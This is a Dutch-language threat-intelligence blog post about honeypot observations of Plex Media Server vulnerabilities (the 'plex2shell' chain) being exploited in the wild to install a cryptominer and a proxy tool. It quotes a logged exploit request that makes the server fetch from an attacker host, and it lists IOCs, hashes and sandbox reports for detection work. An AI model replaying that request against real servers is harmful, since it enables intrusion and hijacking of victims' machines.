Plex-kwetsbaarheden in het wild misbruikt voor het installeren van een cryptominer
Introductie
(Er is geen AI gebruikt bij het schrijven of onderzoek van dit artikel)
Indien er vreemde lettertypen of spatieringen zichtbaar zijn, is dit te wijten aan Blogger. Lezers die direct geïnteresseerd zijn in de exploitatie in het wild kunnen direct naar die sectie springen.
In dit geval gaat het om een cryptominer. Enerzijds is dat voor de slachtoffers geen groot probleem, maar anderzijds levert het mij als schrijver minder interessante inhoud op. Ik zou echter niet verbaasd zijn als dreigingsactoren geavanceerdere zaken implementeren. Plex wordt vaak gehost op residentiële IP-adressen, en ik vermoed dat aanvallers graag residentiële IP-proxies zouden hebben om toegang te krijgen tot bedrijfs-VPN's en e-mails. (Update: zie onderaan; ik zie inmiddels inderdaad dat er proxies worden ingezet).
Op 1 september 2026 stuurde Plex e-mails en deed het een beveiligingsaankondiging met betrekking tot belangrijke beveiligingsupdates. Zie het bericht hier: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319
Als infosec-professional en Plex-gebruiker was ik erg benieuwd naar deze kwetsbaarheid en of ik exploitatie in het wild zou kunnen waarnemen. Daarom heb ik een honeypot opgezet met een kwetsbare versie van Plex.
De details waren aanvankelijk beperkt. Er werd aangegeven dat de pagina met meer details zou worden bijgewerkt, maar ik zag lange tijd niets. Uiteindelijk werden op 26 september enkele CVE's gepubliceerd via https://www.cvedetails.com/vulnerability-list/vendorid-14994/year-2026/Plex.html, hoewel geen van deze een CVSS-score van 9+ had. Ze bevatten wel een link naar een blogpost die op dat moment nog niet was vrijgegeven.
De link verwees naar https://zmain.info/blog/plex2shell. De publicatie was gepland voor half oktober. Op 16 oktober (gisteren) verscheen er eindelijk een update. De auteur had verschillende kwetsbaarheden ontdekt en deze aan elkaar gekoppeld om remote code execution (RCE) te bereiken, wat zeer indrukwekkend is.
Betrokken CVE's
De volgende CVE's zijn relevant:
- CVE-2026-96652
- CVE-2026-96654
- CVE-2026-96655
- CVE-2026-96656
De bijbehorende code is te vinden op: https://github.com/code-zm/plex2shell/
Ik heb tests uitgevoerd in een laboratoriumomgeving. De pcaps voor detectie- en signature-werk zijn beschikbaar via: https://github.com/BoredHackerBlog/plex2shellpcap
Plex2Shell: Exploitatie in het wild
Mijn honeypot zag voornamelijk scanning en generieke exploitatiepogingen. Vanaf vanmorgen (17 oktober) zag ik echter daadwerkelijke exploitatie in het wild.
Standaard sta ik geen uitgaand verkeer toe vanuit mijn honeypots. Vanwege de werking van deze kwetsbaarheid moest ik mijn instellingen later aanpassen, waardoor ik helaas niet van alle aanvallen de payloads heb kunnen bemachtigen. Het is mogelijk dat ik slechts over partiële data beschik. Ik heb de pcaps nog niet volledig doorlopen en moest sowieso instellingen voor tcpdump aanpassen. Het is ook mogelijk dat de aanvaller licht gewijzigde code en technieken gebruikt.
Waarnemingen
De eerste exploitatiepoging kwam van het IP-adres 45.194.92.222. Uit de Zeek-logs blijkt het volgende:
"uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN1681033e9a7317471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc0cf927be72d217471", "user_agent": "Python-urllib/3.10",
De volgende twee IP-adressen werden eveneens gezien bij de exploitatie:
91.92.40.202176.65.139.228
Nadat ik de configuratie van mijn honeypot had gewijzigd om uitgaand verkeer toe te staan, zag ik aanhoudende exploitatie vanuit 45.194.92.222. In de logs was nu te zien dat er een bestand werd gedownload van 217.60.194.116. De inhoud van het Docker-bestand bevestigde dat het om een cryptominer ging.
Indicators of Compromise (IOC's)
Voor detectie van de aanval kan men kijken naar de pcaps op GitHub en de broncode van de hoofdauteur. Hieronder volgen de specifieke IOC's waargenomen op de honeypot.
IP-adressen verantwoordelijk voor exploitatie:
91.92.40.202176.65.139.22845.194.92.222
Bron voor download van kwaadaardige bestanden:
217.60.194.116(docker & x)
Bestandshashes:
5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441(docker)68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7(x, UPX gepackt)b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49(x, UPX ongepackt)
---
Update 1 (17 oktober)
Er is meer activiteit waargenomen en de bijbehorende artefacten zijn op GitHub geplaatst. Er werd ook "myawesomeproxy" gezien (ik heb geen tijd gehad voor een volledige analyse, maar het staat nu op GitHub).
Hashes:
e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9(myawesomeproxy)2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db(xmrig)
Bij het uitvoeren van de software verschijnt de volgende melding: "Running this software on any of your devices makes you agree to the potential external use of your internet traffic"
Sandbox-rapporten voor myawesomeproxy:
- https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f
- https://tria.ge/261017-3ytcaady7p
- https://tria.ge/261018-ab8jgady9p
Ik zie verkeer dat gerelateerd is aan proxystream.st en vond dit artikel: https://www.bitsight.com/blog/who-invited-aisuru-lan-party
Vergelijkbare samples zijn gevonden via Google:
- https://www.joesandbox.com/analysis/1934662/0/html
- https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection
---
Update 2 (18 oktober)
Omdat er weinig informatie over dit onderwerp beschikbaar was, heb ik een discussie gestart op Reddit om te zien of anderen ook getroffen zijn: https://www.reddit.com/r/PleX/comments/1x95krg/inthewildexploitationofoldplexservers/
De persoon die de kwetsbaarheid heeft ontdekt, heeft detectiemethoden gepubliceerd op: https://github.com/code-zm/plex2shell/tree/main/detection
Groetjes,